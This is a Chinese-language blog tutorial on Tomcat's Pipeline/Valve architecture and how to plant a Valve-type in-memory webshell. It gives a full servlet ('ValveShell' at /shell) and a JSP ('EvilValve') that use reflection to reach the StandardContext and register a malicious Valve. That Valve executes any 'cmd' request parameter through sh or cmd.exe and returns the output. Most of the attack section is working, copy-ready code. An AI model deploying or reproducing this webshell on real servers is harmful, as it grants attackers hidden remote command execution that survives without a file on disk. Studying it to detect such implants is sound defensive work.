Java Valve型内存马

Valve 是什么

我们要学习 Valve 型内存马,就必须要先了解一下 Valve 是什么

这一段内容引用枫师傅的文章原话,因为枫师傅这段话我觉得写的非常清楚,师傅们可以学习一下

在了解 Valve 之前,我们先来简单了解一下 Tomcat 中的管道机制。 我们知道,当 Tomcat 接收到客户端请求时,首先会使用 Connector 进行解析,然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到 Servlet 进行处理的呢?这里涉及到的机制就是 Tomcat 管道机制。 管道机制主要涉及到两个名词,Pipeline(管道)和 Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。 因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。个人理解就是管道与阀门的这种模式,我们可以通过调整阀门,来实现不同的业务。

关键点

  • Pipeline 中会有一个最基础的 Valve,这个 Valve 也被称之为 basic,它始终位于末端(最后执行),它在业务上面的表现是封装了具体的请求处理和输出响应。(因此这里有输入输出给我们直接利用)
  • Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。

简单理解也就是和 Filter 当中差不多,我们可以在 Filter Chain 当中任意添加 Filter;那么 Valve 也就是可以在 Pipline 当中任意添加。

下面是 Pipeline 发挥功能的原理图

在 Tomcat 中,四大组件 Engine、Host、Context 以及 Wrapper 都有其对应的 Valve 类,StandardEngineValve、StandardHostValve、StandardContextValve 以及 StandardWrapperValve,他们同时维护一个 StandardPipeline 实例

在分析Servlet内存马的时候,有分析过前面获取HTTP请求的过程,其中有一段是从Connector到Container的过程:

// Calling the container
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);

其中就有从Container获取Pipeline的方法:

通过container.getPipeline()方法获取到了 Pipeline,并且能够很清楚的看到 Pipeline 里面有一个 basic;这个 basic 所属的类是 StandardEngineValve

关于 Valve 内存马的流程思考

内存马流程

Valve 可以被添加进 Pipeline 的流程之后,所以这里我们尝试实现一下。

package valve;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class TestValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        System.out.println("Valve 调用");
    }
}

我们还需要通过 addValve() 方法把它添加进去,不然的话这个 Valve 肯定是白写的。反之一想,我们只要能把我们自己编写的恶意 Valve 添加进去,就可以造成恶意马的写入了。

先点进去 Pipeline 接口看一下,因为 Valve 是 Pipeline 的一个部分,所以我们点进去看看。

在 Pipeline 接口当中存在 addValve() 方法,顾名思义,我们可以通过这个方法把 Valve 添加进去。

IDEA已经提示了只有1个类实现了该接口,直接过去发现到了StandardPipeline类中。因此我们需要获取StandardPipeline类的对象,所以这里去找一找 StandardContext 有没有获取到 StandardPipeline 的手段。

在 StandardContext 类中搜索 pipeline,这里看到了一个比较引人注目的方法 getPipeline(),跟进看一下。

调用了ContainerBase类的getPipeline()方法,直接返回了Pipeline,因此下面这个语句是等价的:

StandardContext.getPipeline = StandardPipeline; // 二者等价

所以这里我们可以得到的攻击思路如下:

  • 先获取 StandardContext
  • 编写恶意 Valve
  • 通过 StandardContext.getPipeline().addValve() 添加恶意 Valve

Valve 型内存马应该在何处被加载

我们的 Valve 是应该放到 Filter,Listener,还是 Servlet 里面?

  • 这个答案是 Servlet,因为在 Servlet 内存马中的 HTTP11Processor 的加载 HTTP 请求当中,是出现了 Pipeline 的 basic 的。
  • 所以我们通过 Servlet 来加载。

Valve 内存马的 PoC 编写

Java文件

这里我们需要先定义一个 doGet() 方法,因为我们是发出 GET 请求的,通过反射获取到 request 对象,然后通过request获取Context以及Pipeline对象。

Field FieldReq = req.getClass().getDeclaredField("request");
FieldReq.setAccessible(true);
Request request = (Request) FieldReq.get(req);
Pipeline pipeline = request.getContext().getPipeline();

然后构造恶意Valve对象

ValveBase valve = new ValveBase() {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                PrintWriter out = response.getWriter();
                out.println(output);
                out.flush();
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
};

最后把恶意Valve对象添加到Pipeline中

pipeline.addValve(valve);

完整EXP

package valve;

import org.apache.catalina.Pipeline;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/shell")
public class ValveShell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field FieldReq = req.getClass().getDeclaredField("request");
            FieldReq.setAccessible(true);
            Request request = (Request) FieldReq.get(req);
            Pipeline pipeline = request.getContext().getPipeline();

            ValveBase valve = new ValveBase() {
                @Override
                public void invoke(Request request, Response response) throws IOException, ServletException {
                    String cmd = request.getParameter("cmd");
                    if (cmd != null) {
                        try {
                            boolean isLinux = true;
                            String osTyp = System.getProperty("os.name");
                            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                isLinux = false;
                            }
                            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                            Scanner s = new Scanner(in).useDelimiter("\\a");
                            String output = s.hasNext() ? s.next() : "";
                            PrintWriter out = response.getWriter();
                            out.println(output);
                            out.flush();
                            out.close();
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                }
            };

            pipeline.addValve(valve);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

JSP文件

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>

<%
    class EvilValve extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = response.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
%>

<%
    // 更简单的方法 获取StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    standardContext.getPipeline().addValve(new EvilValve());

    out.println("inject success");
%>

之前 Servlet 内存马,我们是写入了一个路径,但是 Valve 型内存马可以在 Servlet 被读取的过程中就直接被恶意触发。

参考资料

Java 内存马系列-06-Tomcat 之 Valve 型内存马

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇